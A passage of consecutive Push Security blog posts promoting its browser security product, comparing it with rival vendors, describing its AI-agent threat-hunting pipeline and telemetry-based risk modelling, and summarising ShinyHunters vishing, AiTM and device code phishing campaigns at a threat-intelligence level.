Seraphic's architecture is built to inject into the browser's JavaScript runtime at the OS layer, scrambling browser internals to prevent exploits from executing. This is a technically sophisticated approach to a technically interesting problem that is, by every threat intelligence measure, not the problem causing enterprise breaches at scale.

Beyond the threat model mismatch, there are structural concerns with the approach itself. Injecting an agent into the browser's JS runtime is a technique with well-documented stability consequences. This is the same approach antivirus vendors have used for years, often at the cost of system stability. Seraphic now runs alongside the CrowdStrike Falcon sensor on managed devices, combining two heavyweight agents on the same machine. For any organization with CrowdStrike already deployed, the question isn't theoretical: how has that combination been validated in production environments?

There's also the managed-device limitation. Seraphic requires a kernel-level agent, which means it loses meaningful capability on unmanaged devices, BYOD machines, and contractor endpoints. This is not a niche concern: according to Omdia's 2026 browser security survey, 32% of users access corporate applications from unmanaged devices at least occasionally. Agent-based solutions are blind to nearly a third of your actual attack surface by design. The Okta breach began on a support engineer's personal device, where corporate credentials had synced via Chrome's built-in profile sync. No agent, no visibility.

Teams evaluating Seraphic today are also buying into an integration roadmap, not a shipped capability. The acquisition by CrowdStrike closed in early 2026. The work of wiring browser telemetry into Falcon Fusion and correlating it with endpoint signals is currently a promise, not a production feature.

SquareX (Zscaler)

SquareX's core capability is sandboxing suspicious file downloads inside disposable browser containers before they reach the endpoint. This is a legitimate approach to a real but declining problem. 82% of attack detections are now malware-free (CrowdStrike 2026 Global Threat Report) — attacks don't arrive as files to be sandboxed, they arrive as authenticated sessions. And the delivery channel shift makes the picture even starker: across Push's customer base, 1 in 3 phishing payloads are now delivered outside of email entirely — via social media, ads, and messaging platforms — and 4 in 5 ClickFix payloads arrive through search engines, not email. The threat that SquareX was architecturally designed to address is a shrinking share of the actual attack surface, and it's shrinking fast.

Zscaler already has sandboxing built into ZIA. For an existing Zscaler customer evaluating SquareX, the honest question is: what does this add beyond some extension analysis capability and what you already have? The AiTM phishing campaign that stole your user's credentials and accessed your cloud applications generates no malicious file, triggers no sandbox, and produces no network signal for Zscaler's traffic inspection to catch — because it happened entirely inside a browser session using legitimate authentication flows.

The acquisition also raises product focus questions. Being absorbed into a network-centric platform means SquareX is now optimized for Zscaler's priorities, not for standalone browser detection and response. Teams that care about investigation, threat hunting, and incident response should ask specifically what SquareX adds in those workflows under Zscaler ownership.

LayerX

LayerX is primarily a policy enforcement and risk scoring platform focused on internal governance — controlling which applications employees access, what data moves through the browser, and whether behavior complies with internal rules.

Push Security covers that ground too. Push provides full visibility over AI tool usage, shadow SaaS, unmanaged identities, and data loss vectors — including sensitive data submitted through AI prompts, file uploads to personal cloud destinations, and OAuth grants to third-party applications. The same browser telemetry that detects external attacks also surfaces insider risks and powers DLP controls and compliance audit evidence, all from a single extension.

The critical difference is that Push goes significantly further. Where LayerX scores risk and enforces policy, Push detects active external attack techniques in real time: AiTM phishing kits as they execute, session tokens being stolen, ClickFix lures through behavioral analysis of page structure. These are the attacks causing the most damaging breaches today, and they don't surface on a risk score until after the damage is done. Push addresses both the governance problem and the external threat problem from the same platform. LayerX addresses only the first.

Securing the organization via the browser: Push Security

Push Security is built on a different architectural premise: the browser is not primarily a piece of software to harden against exploitation. It is the primary workplace, the primary SaaS access point, and the arena where the majority of modern identity attacks play out. The goal is to secure the organization via the browser — not just to secure the browser itself.

This means Push's detection surface is built around the attacks that are actually causing breaches: adversary-in-the-middle phishing, ClickFix and its many variants, credential stuffing against shadow identities, session token theft and replay, OAuth consent abuse, and the full spectrum of identity-based initial access techniques that dominate the modern threat landscape.

The deployment model reflects the threat model. Push deploys as a lightweight browser extension — no kernel-level agent, no device dependency, no migration to a new browser. It works on managed and unmanaged devices, across every traditional, enterprise and AI browser where employees are doing work and attackers are targeting them. The operational overhead is minimal by design: Push has been deployed to 100,000 users in under one hour during normal business hours.

Detection philosophy: targeting what attackers can't change

Push's detection approach targets attacker TTPs rather than indicators of compromise that attackers can rotate in minutes. 95% of attacks detected by Push used some form of bot protection service — meaning the specific domain and IP were deliberately obscured. If your primary detection relies on blocklists, recent reports tell us that 89% of phishing domains will evade you: because they're active for less than two days, they can be spun up, down, and replaced faster than blocklists can keep up.

Behavioral detection of the attack technique — the AiTM relay structure, the credential entry on a cloned login page, the anomalous session context — remains valid regardless of what domain the attack is hosted on or which PhaaS kit was used to build it.

Measuring the identity attack surface (it's bigger than you realize)

Because Push has visibility into actual login behavior across thousands of organizations, it can quantify the attack surface that identity-based attacks exploit. Of the last million logins observed by Push:

• 15 corporate identities were identified per employee used to access cloud apps

• 1 in 4 were password logins, not SSO

• 2 in 5 were not protected by MFA

• 1 in 5 used a weak, breached, or reused password

And it's not just login hygiene. Across Push's customer base, 46%+ of browser extensions in corporate environments have the permission combinations required for direct account takeover via session theft if they are malicious or compromised by an attacker. Most organizations have no inventory of what's running in their employees' browsers, let alone visibility into what those extensions can access.

These aren't theoretical vulnerabilities. They're the specific weaknesses that browser-native identity attacks are designed to exploit. This visibility turns browser security from a reactive posture into a proactive one — you can see and remediate the identity weaknesses before an attacker exploits them, not just detect the attack while it's in progress.

The ROI case

The ROI question for any security investment is: what quantum of real risk does this tool address, at what cost in money and operational friction?

That calculation looks very different depending on your threat model.

A solution focused on browser engine exploits and sandbox escapes is defending against an attack category that represents a tiny fraction of actual enterprise breaches, requires extraordinary attacker resources to execute, and is increasingly mitigated by browser vendors themselves through hardening and rapid patching. Chrome's automatic update cycle means that even when a browser vulnerability is discovered and disclosed, it is typically in front of users as a patch within days. The defenders here are Google, Mozilla, and Microsoft — with multi-billion dollar security teams and full access to the browser internals.

A solution focused on identity attacks via the browser — phishing, credential theft, session hijacking, OAuth abuse, malicious browser extensions — is defending against the primary cause of enterprise breaches, one that is accelerating (cloud-conscious intrusions up 37% in 2025, browser-based attacks increasing at 68% of organizations over the past two years per Omdia) and increasingly automated through PhaaS infrastructure that gives low-skill attackers enterprise-grade capability for $1,000 a year.

There's also a forward-looking dimension. The threat landscape isn't moving toward more browser exploitation. It's moving further into identity abuse. AI-powered phishing lowers the social engineering barrier. Agentic browsers will automate credential stuffing and account takeover at a scale that wasn't previously possible. And attackers are already adapting to authentication improvements: device code phishing has increased 37x since the start of 2026, a technique specifically designed to circumvent passkeys by bypassing the authentication flow entirely — the attacker never encounters a login page. The investment in identity-centric browser detection compounds over time as the attack surface evolves in the same direction.

Solutions optimized for browser exploitation are defending against a shrinking attack category. Browser vendors are very good at closing those vulnerabilities, quickly. The ROI trajectory points the wrong way.

The verdict

Browser security is a real and growing priority — according to Omdia Research, it is now a top-five priority for 88% of security leaders and the top priority for 26% of them. 85% expect their browser security spending to increase over the next 12–24 months. The question isn't whether to invest. It's what to invest in.

The browser is where your users work, where attackers target them, and where the identity attacks causing the majority of enterprise breaches play out. But not all browser security investments address the same problem.

Solutions like Seraphic are built to defend against a browser being exploited by an attacker trying to break out of the sandbox — an attack that represents a historic low as a share of enterprise incidents, and one that Google's own hardening and rapid patching increasingly mitigates automatically. SquareX is built around malware sandboxing — a legitimate but declining share of the initial access landscape, and a capability Zscaler's existing customers already partially have. LayerX focuses on internal governance rather than external threats.

Push Security is built to defend against the attacks that are behind the major breaches hitting the headlines: identity theft, credential abuse, session hijacking, and the full identity attack kill chain that plays out inside the browser every time an attacker logs in as your user. Every major threat intelligence report points to these as the primary breach vectors. The economics of attack choice guarantee they'll remain so.

The security team that deploys Push gets the greatest coverage of the highest-impact threats, on managed and unmanaged devices, with the lightest operational footprint. That is the browser security investment that moves the needle on real organizational risk — not the browser security investment that defends the software nobody's actually attacking.

Our research team had already been tracking the growing use of malvertising tied to phishing campaigns. Malvertising frequently targets users via Google Search results, inserting malicious ads or redirects in place of legitimate ads, and using the familiar context of the search results page to trick users into clicking.

To defend Push customers against this threat, we needed a way to spot malicious activity arising from clicking on Google ads. But how to separate signal from noise?

Our hunt combined the skills of human researchers and AI agents to find 12 meaningful results from trillions of browser events visible to the Push extension across our install base.

Of those, one was novel.

A user had searched for NotebookLM, clicked a paid Google ad, and gotten redirected to a page impersonating NotebookLM. The page itself was just a facade fronting a Cloudflare Pages-hosted phishing kit with a WebAssembly C2 connector. To the user, it looked like a completely on-brand NotebookLM page, and if they had run the fake install prompt, they would have installed malware. (Note: NotebookLM doesn’t even require a local install, but the page was convincing enough — and AI platforms are changing so quickly — that the lure was extremely believable.)

We had found our first in-the-wild InstallFix attack.

Within minutes, our analysis agents created detections, and researchers shipped a new detection to every Push customer.

Eighteen months ago, it would have taken a human analyst days or even weeks to unpack the attack, comb through web requests, de-obfuscate web code, trace JavaScript execution, and extract signals of tactics, techniques, and procedures (TTPs) beyond short-lived single-use IOCs like domain name, then get their work coded up as a detection and deployed to customers.

That was viable when new tools or techniques showed up once or twice a quarter. It doesn’t stand a chance when attack evolutions occur weekly or even daily. That’s the reality now with AI-generated adversary tools.

So, can AI agents replace human threat researchers? That’s the wrong question. Can AI agents massively scale the expertise of a seasoned human threat hunter without getting bored of repetitive tasks, missing pertinent but easily overlooked details, or creating operational siloes dependent on one person’s knowledge — and do its work continuously across trillions of data points? Yes, absolutely.

In this article, we’ll outline how Push uses AI agents as a force multiplier for identifying emerging threats that target organizations via the browser — think: ClickFix, vibecoded phishing sites, AiTM kits, cloned login pages, ConsentFix attacks, malicious OAuth apps, device code phishing, sites impersonating Claude Code installers, etc. — and share what we’ve learned.

We’ll cover the architectural decisions we made that enable the successful implementation of agents and some emerging best practices we’ve identified; discuss why our hunts focus on extracting techniques, not indicators; and illustrate how Push customers are benefitting from this agentic pipeline.

Why scaling browser threat detection requires more than more analysts

Already this year, we’ve tripled the cumulative number of detections shipped to Push customers using this pipeline. That output points to the first problem we set out to solve by employing AI agents: Scaling our research team’s considerable expertise.

Push’s R&D team are experts at understanding and unpacking modern browser-based attacks. This is essential when you consider how quickly attacks themselves are evolving. When we created the Browser & Identity Attacks Matrix in 2023 (then called the SaaS Attacks Matrix), many of the ideas in it were theoretical. Not anymore.

• We’ve tracked the rise of AiTM phish kits from their status as MFA-bypassing novelties to the emergence of an entire criminal ecosystem built around increasingly sophisticated Phishing-as-a-Service tools.

• We imagined the simple but effective power of using device code authorization for phishing three years ago; in the last few months, we’ve detected a 37x increase in device code phishing attacks across our install base.

• We were also the first to detect a novel post-authorization attack we dubbed ConsentFix that combines OAuth consent phishing and ClickFix-style user prompts; reported on the rise of the ridiculously simple yet effective InstallFix technique described earlier; and detected an array of other creative phishing campaigns tied to malvertising scams.

With an agentic approach, we could scale this expertise and reduce the time it takes to go from technique discovery to production-ready detection. This speed is critical now because adversaries are also using AI tools to do their work, exploding the number of trivial-to-rotate indicators of compromise and overwhelming existing detection workflows that lack an equivalent machine speed.

Push researchers are seeing extensive evidence of LLM use in attacks we detect, from LLM-generated phishing kits and tools to vibe-coded cloned pages, demonstrating how much adversaries have embraced these tools to expedite their work.

In particular, we’ve observed operator-gated payload delivery that greatly reduces the likelihood that malicious sites will be flagged and added to known-bad detection lists because they’re only served to active targets, using gated landing pages, anti-bot checks, and other methods to evade proactive infrastructure scanning. This reinforces the need for browser-based detection at the point the user interacts with the page.

Scaling behavioral detections, not just making bigger blocklists

But output numbers alone don’t tell the story of successful detections. That’s the other problem we set out to solve at scale: Most secure browser solutions rely on detection logic based on blocking known-bad indicators like domains, IPs, and URLs.

If your solution offers 1,000 detections, and they’re all based on known-bad indicators that are easily rotated, then you’ve got 1,000 detections that worked once and will likely never fire again. They certainly won’t catch subtle adaptations in adversary techniques that don’t rely on infrastructure changes, which are easy for attackers to swap anyway.

Push does it differently. Our detection engine is focused on hunting for tactics, techniques, and procedures: the behavioral fingerprints of an attack, not just the infrastructure it runs on.

Instead of blocking based on known-bad domains, URLs, and IPs, our detections are built around user-level and page-level behaviors like what scripts load, how redirects behave, what events fire, what actions a user takes and what happens next, etc. (In fact, Push detections don’t even use any infrastructure-based IOCs, though customers can write their own custom detections if they have a specific IOC they’re keeping an eye on.)

All the detections we write would survive infrastructure rotation by adversaries, and many of our existing detections have caught never-before-seen evolutions in TTPs. That’s because we focus on the top of the Pyramid of Pain, the indicators that are hardest for attackers to change.

This focus on detecting TTPs has always been our approach. But with the acceleration in both attack types and the ease with which adversaries rotate infrastructure, we needed to build capabilities that scaled our knowledge.

We did this not by replacing researchers, but by continuously activating their expertise. You can hear what our CEO and Co-founder Adam had to say about this below.

Watch: Adam Bateman: Agentic AI is a Force Multiplier

Core principles for agentic threat hunting

Three principles make Push's agentic threat hunting and detection engineering pipeline work:

Context matters more than custom models

We’re not AI researchers; we’re security researchers — we aren't trying to compete in building the most intelligent models. And in our view, AI models are quickly becoming commoditized like cloud infrastructure, anyway. Luckily, the commercial models today already excel at understanding web code. We just need to harness their power with our expertise.

So at Push, we use a variety of commercial AI models and tools in complementary ways. What matters most is the telemetry they analyze, and that’s where Push’s existing product infrastructure shines: We’re already deployed into over 3 million browsers worldwide, and the Push browser extension includes a component that operates as a flight recorder to locally record everything that matters inside a browser session.

This universe of metadata — DOM elements, tab context, script execution, network traffic, user actions, credential entry, etc. — becomes the searchable corpus for hunts. Metadata is stored locally in users’ browsers and only queried during targeted threat hunts.

This approach avoids dragnet collection of sensitive data. Instead, we focus on collecting metadata and distilling that into patterns and insights that provide context for agents to perform their analysis. This means that Push also does not train or fine-tune models on customer data.

Agents are only as good as the context you give them. Good context is researcher-led

AI agents don’t know how to identify the TTPs of browser-based attacks until you give them the right context, and Push researchers have spent years unpacking these techniques and tools. Agents at Push consume our internal knowledge base of identified TTPs, and both humans and agents perform meta-analyses to check their work. The agents have access to large libraries of traces of human interactions with real phishing kits. This is a powerful dataset to build on.

When we don’t get the results we want from AI models, the question is “What context is it missing? What does our human team know that the agents don’t, and how can we give them that context — do they need data, tools, better workflows?” That closes the gap in performance and keeps quality high.

Integrated architecture that makes agentic AI the throughput layer, not a bolt-on

The constraint we’re trying to break by using AI isn’t knowledge, it’s throughput. Our researchers deeply understand the techniques and tools. An agentic pipeline can apply that understanding continuously across millions of browsers and trillions of events, ingest new external signals, generate hunt hypotheses, triage results, and return only the findings that warrant escalation.

This approach relies on tight integration of our product and our agentic workflows. We’ll take a closer look at that in the next section.

How the agentic detection pipeline runs

Now let’s look at how agentic threat detection actually works, and some of the emerging best practices we’ve identified. We'll cover two example hunts, one initiated autonomously by the agents themselves, and one by our research team.

Example 1: Autonomous threat hunt

Push’s threat hunting pipeline ingested context from research articles describing a new attack technique, and an agent developed hypotheses on what to hunt for across Push’s install base to identify instances of this attack.

The agent crafted detection queries and then refined them to reduce false positives. The successful query ran across stored metadata and returned results, validating that there were zero false positives.

The validated query became a scheduled job that runs on a regular cadence to monitor for potentially malicious signals. A triage agent then received any matches, did an initial analysis, and passed anything that looked suspicious to another agent to perform deeper analysis. This deep analysis agent wields the full investigative toolkit that a human researcher would — using Push’s internal knowledge base, domain age and registration analysis, URLScan and whois lookups, DOM image analysis, and contextual analysis of page-level and user-level behaviors, etc.

Within a few minutes, it can filter a thousand or more signals in a hunt trace down to a handful with meaning and provide an actionable assessment. Then, once the TTP was well-understood, other agents wrote and refined detections that can raise alerts for customers when an event of this type is seen. The Push platform immediately applies the customer’s configured security controls, such as blocking users from interacting with malicious pages.

Example 2: Human-initiated threat hunt

Now, going back to the example from the beginning of the article: InstallFix. This hunt started with a thorny problem our research team needed to solve: How to detect bad things downstream of a user interacting with a Google ad? We needed a way to pinpoint the bad links from the good ones.

Our researchers collaborated with agents to formulate the right parameters for hunt queries, taking into account that good ads are normally bought by companies with marketing budgets, so therefore ads will be expected to redirect to pages hosted on custom domains, not shared domains like *pages.dev, *workers.dev, *squarespace.com, etc.

Our AI agents already understood key TTPs that indicated potential maliciousness on a page: password prompts, file downloads, OAuth integrations, clipboard copies, and similar user prompts that are frequently abused.

The agent ran several queries that returned matching browsing traces — the term we use for sequences of events in a session or tab context — where the user clicked a Google ad, was redirected to a page on a shared hosting domain, and then clicked a button to copy content to their clipboard.

We got back high-fidelity findings and then tuned the query into a continuous detection that leveraged existing detection logic around related techniques. This process also effectively back-tests new detections, so we know we’re not going to generate a lot of false positives. Result: A new detection against a new technique, plus several improvements to existing detections.

What infrastructure is needed for agentic threat hunting?

Both of these examples illustrate the end-to-end workflows supported by this pipeline. From an infrastructure perspective, you can think about the pipeline as composed of:

• A flight recorder: The Push extension-powered capability that collects and locally stores browser event metadata from users’ browsers.

• A knowledge base: Structured knowledge about what Push knows about TTPs and its existing body of detection logic, as well as externally sourced signals of new attack trends.

• Agents as tools: Role-segmented agents that work as a team to triage, investigate, develop hunt queries, return analyses, write detections, and review each others’ work for completeness and accuracy.

• Humans in the loop: Human researchers who collaborate with agents to initiate hunts and tune detections.

• Platform controls: The Push administrator-configured controls that specify how to respond to detected events like AiTM phishing, tuneable by scope, user groups, browser profiles, apps, etc.

What are the best practices for agentic threat detection?

To be effective, agents must specialize and focus. This is the agents as tools concept. When we’re asking AI agents to take massive amounts of data and make a high-level decision about a signal in observed browser events, they must work as a team, finding intelligent ways to condense information without losing important context or hallucinating.

Creating a hierarchy of agent jobs — including agents to perform meta-analyses to catch mistakes and verify conclusions — makes the agents effective by giving them a manageable focus that controls the size of context windows.

Use agents as an excuse to operationalize your internal knowledge once and for all. Every security team has a venerable silo of knowledge — that one person who just knows how to do that one major thing. Now, that can be an AI resource accessible to all, at any time, whenever you need it most.

Creating an agentic workflow requires operationalizing your internal knowledge in a repeatable and trustworthy way. Sharing rich context from human discoveries is the key to getting the best results out of agents.

It's vital too that the agent uses privacy-preserving methods and infrastructure. The Push agent is designed to respect customer and user privacy while enabling high-fidelity detections. We do this by collecting broad browser metadata but storing it locally in users’ browsers and only querying that metadata during active threat hunting investigations.

The compounding effect and how it benefits Push customers

At Push, we think about our detection capability as two learning loops with a compounding effect: An inner loop that serves as our real-time detection and response engine for known attacker techniques, and an outer loop that is the continuous learning our agents do as they hunt for new threats, analyze emerging behaviors, and create new detections.

The outer loop feeds the inner loop, and vice versa.

Customers benefit from this approach because it means they:

• Regularly receive ready-made detections against both known and emerging browser-based threats, without having to write their own detections. (Push also provides the ability to write your own custom detections, too, for environment-specific use cases.)

• Can configure Push’s response actions based on their security goals and environment. Agents act as the threat-hunting and detection engineering team; Push customers set the thresholds for how they want to respond. For example, customers can use Push controls to block all AiTM phishing attacks (or even carve out exceptions for their own incident responders to be able to visit malicious pages with just a warning), and agents continually feed new indicators into detection logic for that class of attack.

• Get pre-digested and actionable intelligence from every detection, with extremely high fidelity.

This all equates to your own advanced browser threat protection, without requiring the specialized in-house expertise we’ve spent years building.

If you’re a Push customer, you already know that we regularly collaborate with security teams to identify and refine detection use cases, and assist with investigations. In the past few months alone, we’ve worked closely with teams targeted by device code phishing, and InstallFix and ClickFix campaigns, among others.

If you’re not a customer and are curious about how Push’s agentic threat hunting and detection engineering capabilities can address your use cases, please get in touch.

Learn more

Push Security is the most powerful AI-native security tool in the browser. Think EDR, but for the browser — high-fidelity telemetry and real-time control across every session, on every device, with no browser migration required.

Security teams use Push to detect and stop advanced browser-based attacks like AiTM phishing, ClickFix, and session hijacking; gain visibility and control over AI tool usage across their workforce; harden identities by surfacing credential reuse, SSO gaps, and shadow IT; and support data loss and insider investigations with browser-layer telemetry that other tools can't see.

Book a live demo to learn more.

I was recently teaching SANS LDR551, where we cover some of the flawed approaches used in risk measurement and prioritization — for example, presenting ordinal data in a risk matrix as ratio data, implying that the matrix represents quantitative analysis when it’s more of a best guess. We then look at modeling using Loss Exceedance Curves as a more accurate, if much more difficult, approach to quantitative risk assessment.

The only problem is, we rarely have the time or the data to construct such models. Ask a CISO how they measure risk for credential compromise and other account takeover attacks, and the answer will probably include one or more of the following: a risk assessment, a whiteboard, and a room full of smart people making educated guesses about attack frequency and control strength.

That isn't a criticism — for most risk scenarios, expert elicitation is the best (and most convenient) available method. Breach cost data is sparse, threat actor behavior is unpredictable, and internal incident history is (ideally!) a limited sample. Quantitative risk frameworks like FAIR give structure to that uncertainty, but they can't conjure data that just doesn't exist.

The results are usually estimates with wide confidence intervals and loss distributions that appear precise, but are hard to defend to a CFO or a board. Finance leaders have seen Monte Carlo simulations before; the capable ones will challenge the quality of the outputs if they doubt the quality of the inputs. But with the right telemetry, we can get both.

Why the identity attack surface is uniquely measurable

We've written extensively about the shift to identity as a primary attack vector — and the evidence continues to stack up. Credential phishing, device code phishing, ClickFix, adversary-in-the-middle attacks, session hijacking, and SaaS account compromise now account for the majority of breach entry points in most enterprise environments. But the silver lining here is that this shift has created something valuable for risk quantification: a highly observable threat surface.

Identity attacks execute in the browser. They leave traces in authentication flows, login behaviors, OAuth integrations, extension activity, and SaaS access patterns — all of which are captured in real time by the Push extension. Unlike network or endpoint attacks, where the signal is often binary and retroactive, browser-based identity threats generate continuous, high-frequency telemetry that maps directly onto the inputs that drive quantitative risk models.

This telemetry directly informs the hardest inputs in any quantitative risk model. One is Threat Event Frequency (TEF): how often a threat agent acts against an asset in a given period. For identity risks, this can be answered in how many credential phishing attempts reached your users across all delivery channels (social media, email, malvertising, etc.), or how frequently your users authorize malicious or compromised SaaS apps. Browser-level telemetry can answer these questions with observed data rather than industry lookups and general benchmarks. 

Models that estimate TEF without factoring in browser-borne attacks are systemically undercounting. One key example of this is email-delivered phishing data. Roughly 1 in 3 phishing payloads intercepted by Push are delivered outside of email, meaning an email-only risk assessment is missing the attacks happening over channels like social media, search ads, and messaging apps that most risk models ignore entirely — places where the success chance is far higher because of the lack of control (and because users don't expect it).

The other input to risk modeling that's difficult to express in concrete terms is vulnerability: the probability a threat becomes a loss event or, more specifically, how likely it is that your controls will fail.

This is where browser telemetry gets especially concrete. Analysis of login telemetry across Push-monitored environments shows that 1 in 4 logins are still password-only (not SSO), 2 in 5 are not protected by MFA, and 1 in 5 use a weak, breached, or reused password. Many of these logins occur outside the visibility of a central IdP platform like Microsoft, Google or Okta — the result of downstream ghost logins.

There are many examples of ghost logins being exploited by attackers in the wild, but the landmark case remains 2024's Snowflake breach, in which 165 organizations were breached using compromised credentials that had been sitting online since 2020. MFA was missing in every case.

In a FAIR-based model, TEF and vulnerability together determine loss event frequency: the foundational driver of the entire risk calculation. Using telemetry from your own environment as the basis for these calculations makes them far more accurate, and more likely to stand up to scrutiny.

The attack surface is bigger than most models assume

One of the consistent failures in identity risk modeling is the tendency to model risks defenders can see, and leave the rest off the balance sheet. These omissions create a systematic understatement of exposure that browser-based telemetry can offset.

Shadow AI and OAuth sprawl

The Vercel breach in April 2026 was the result of an OAuth connection to a third-party AI SaaS tool a developer connected into the organization's Google Workspace tenant (without admin approval). When the AI vendor was compromised, the attacker leveraged stored OAuth tokens to access downstream accounts, ultimately reaching internal dashboards, API keys, and source code.

Push telemetry across customer environments shows an average of 17 unique AI app integrations per organization in Microsoft and Google alone, most of which security teams would describe as unapproved. These generally don't appear in a conventional risk model that isn't looking for them.

Browser extensions

Analysis of 20,000 unique extensions deployed across Push customer environments found that 46.76% have the permission combinations required for account takeover without user interaction. The extensions carrying these permissions aren't flagged by risk scoring systems because the same permissions are used by ad blockers, password managers, and translation tools (the downside of relying on tools that rely on dubious scoring to assess extensions, but I digress).

What matters for risk quantification isn't the permission set or an arbitrary score assigned by a vendor; it's whether the monitoring exists to detect when a previously-clean extension changes ownership, escalates permissions, or behaves anomalously. Without that monitoring, the exposure is real but unquantified.

ClickFix and non-email delivery channels

ClickFix — where a malicious page silently writes a PowerShell or mshta command into the victim's clipboard and instructs them to paste it — was the most common initial access vector observed by Microsoft in 2025, and CrowdStrike reported a 563% increase in fake CAPTCHA lures (one of the most common ClickFix styles in which the user has to "verify they're human" by running a command on their machine).

What makes this particularly relevant for risk quantification is the delivery channel: 4 in 5 ClickFix payloads intercepted by Push arrive via search engines, not email. A risk model that estimates threat event frequency from email-based phishing telemetry alone is structurally blind to an entire category of attack that has become one of the most prevalent initial access methods in the landscape.

Authorization attacks

Device code phishing and OAuth consent abuse represent a slightly separate category of identity attack that most risk models don't account for because they operate after the authentication flow has already completed — meaning password strength, MFA coverage, and SSO adoption are irrelevant to whether the attack succeeds.

Push has tracked a 37x increase in device code phishing attacks since the start of 2026, with at least 12 distinct kits now offering the technique, while established AiTM vendors like Tycoon are now adding authorization-focused options alongside their existing session token and credential harvesting capabilities.

Device code phishing has featured heavily in ShinyHunters campaigns in 2025 and 2026 along with AiTM phishing and OAuth token abuse, often paired with voice-based lure delivery that misses traditional endpoint controls (but inevitably leads the victim to a webpage in the browser where the payload is delivered).

The key lesson for CISOs

A risk model that measures identity vulnerability purely in terms of authentication hygiene at the IdP layer — how many accounts have MFA, how many use SSO — will correctly quantify one dimension of exposure while completely missing another that is growing faster and is structurally immune to the controls being measured.

For a CISO building a risk model, these aren't edge cases. They represent a real attack surface that doesn't show up in models built on conventional network, endpoint, and cloud telemetry. We aren't just talking about better inputs to risk modeling — we're talking about entirely new risk scenarios that aren't being modeled at all, supported by live data.

Browser telemetry makes a CISO's life easier

Browser-based telemetry changes the conversation a CISO can have with a CFO or board. Instead of "industry benchmarks suggest our expected annual loss from account compromise is somewhere in this range," the answer is, "We can see how often these attacks are attempted against our users, and we can measure what percentage of our accounts have the controls in place to stop them," or "We know how many shadow AI apps our users self-provision and share data with each month."

Identity risk is only a piece of the quantification problem. Loss magnitude, regulatory exposure, and reputational impact are still extremely hard to estimate regardless of how good your frequency inputs are.

But the identity attack surface is one of the few areas in security where measurement is genuinely achievable right now, and the gap between what most organizations are modeling and what's actually observable is significant. Shadow SaaS integrations, unapproved AI connections, browser extensions with excessive privileges — these are enumerable risks that don't appear in models built on network, endpoint, and cloud access telemetry alone. 

The lesson for CISOs serious about quantitative risk management is this: the frameworks exist, the talent is available, and the bottleneck is almost always data quality. Browser telemetry is a good example of the kind of high-fidelity, environment-specific measurement that closes that gap.

Push Security is the most powerful AI-native security tool in the browser. Think EDR, but for the browser — high-fidelity telemetry and real-time control across every session, on every device, with no browser migration required.

Security teams use Push to detect and stop advanced browser-based attacks like AiTM phishing, ClickFix, and session hijacking; gain visibility and control over AI tool usage across their workforce; harden identities by surfacing credential reuse, SSO gaps, and shadow IT; and support data loss and insider investigations with browser-layer telemetry that other tools can't see. Book a live demo to learn more.

The confirmed victim list reads like a Fortune 500 directory: Coca-Cola, Cisco, Qantas, Coinbase, ADT, Aflac, SoundCloud, Rockstar Games, Charter Communications, and recently Instructure — whose breach disrupted schools and universities nationwide during final exams — among dozens more named publicly and likely many more that haven't been (breaches settled quickly behind closed doors don't always make it into the public eye). ShinyHunters alone claimed over 1.5 billion stolen Salesforce records from a single campaign targeting more than 1,000 organizations.

Additional operating clusters, including Cordial Spider and Snarky Spider (which CrowdStrike characterizes as the new generation of Scattered Spider) run parallel campaigns against different target sectors, unified not by shared infrastructure but by a shared playbook of techniques that exploit the structural weakness in modern SaaS-first organizations. Unit 42 documented these groups moving from initial compromise to complete data exfiltration in under an hour — faster than most organizations can even begin to respond. Newer groups with links to the SLH ecosystem like CoinbaseCartel have also continued the tradition of weaponizing stolen credentials from the infostealer economy at scale, as ShinyHunters did in the 2024 Snowflake breach that compromised over 165 customer environments (and claimed another billion-plus records).

Not every SLH breach is browser-based — the Instructure breach (275 million individuals, ~330 school login portals defaced) began with a Salesforce tenant compromise in September 2025, but resurfaced in May 2026 after attackers exploited a vulnerability affecting Canvas's Free-For-Teacher program (it's now been confirmed that Instructure "reached a settlement" for the deletion of the data, and shut down the free account tier), while the Coinbase breach cost $180M–400M through insider bribery — but these are the exceptions that prove the rule.

It seems that ShinyHunters have opportunistically returned to the scene of the crime with Instructure because of the proven payoff of targeting EdTech organizations, combined with the existing leverage of data gathered during the previous breach (and previous refusal to pay). This shows that a major data breach is likely to result in further attempts to increase pressure and extort payment. We saw this in 2024's PowerSchool breach too, where individual victims were hit with blackmail and extortion attempts — even after PowerSchool paid the ransom to avoid such a scenario, but the attackers (unsurprisingly) didn't keep their end of the bargain.

The vast majority of SLH campaigns over the past year converge on three browser-based attack vectors: vishing combined with AiTM phishing, device code phishing exploiting account authorization flows, and OAuth supply chain attacks through compromised third-party integrators. Each is well-documented, each has produced confirmed victims at scale, and each is detectable or preventable through browser-layer security controls.

Vector 1: Vishing combined with AiTM phishing

The most visible campaign right now pairs targeted voice calls with adversary-in-the-middle phishing pages — an approach that Mandiant, CrowdStrike, and Unit 42 have all documented from the incident response side, and which Push has documented from inside the attacker's own operator panels.

An attacker impersonating IT support calls the target employee, establishes urgency — often citing a "mandatory passkey rollout" or a "security compliance update" — and directs them to a victim-branded AiTM phishing page (typically at a domain like <company>sso.com or <company>internal.com). The attack is processed by a live human in real time, relaying credentials and MFA codes to the legitimate identity provider as they are entered, capturing the resulting session token, and granting the attacker an authenticated session.

One of the reasons that this method is becoming so widespread is the commoditization of effective tools. Push's infiltration of the criminal phishing panels identified over 400 linked domains across four distinct infrastructure clusters. This mirrors the pattern that turned AiTM phishing from a specialist capability into an industrialized market with competing PhaaS platforms, but with the added complication that voice phishing as the delivery vector makes the attack invisible to traditional anti-phishing controls at the email layer.

The speed at which these campaigns execute has compressed dramatically. Unit 42 documented Cordial Spider and Snarky Spider moving from initial compromise to complete data exfiltration in under an hour — fast enough that any detection strategy that relies on human SOC triage will arrive after the data has already left the building.

Vector 2: Vishing combined with device code phishing

The ShinyHunters Salesforce campaign that ran through 2025 and into 2026 used device code phishing as one of its core methods, compromising over 1,000 organizations and claiming 1.5 billion stolen records — including an attempted extortion of Salesforce itself. The attack involved registering an attacker-controlled "DataLoader" application mimicking a legitimate Salesforce tool, configuring it to request broad OAuth scopes including full API access and refresh token generation, and guiding victims through the device authorization flow via vishing calls.

Device code phishing exploits the OAuth 2.0 device authorization grant — a flow designed for devices without browsers, like smart TVs, but used in a wide range of scenarios including CLI logins — by tricking users into entering a code on Microsoft's (or another identity provider's) legitimate verification page. Since the victim is usually signed into the app in their browser, there’s no login at all. They simply navigate to the app’s device code login page and enter an attacker-provided code to grant the attacker an access token. 

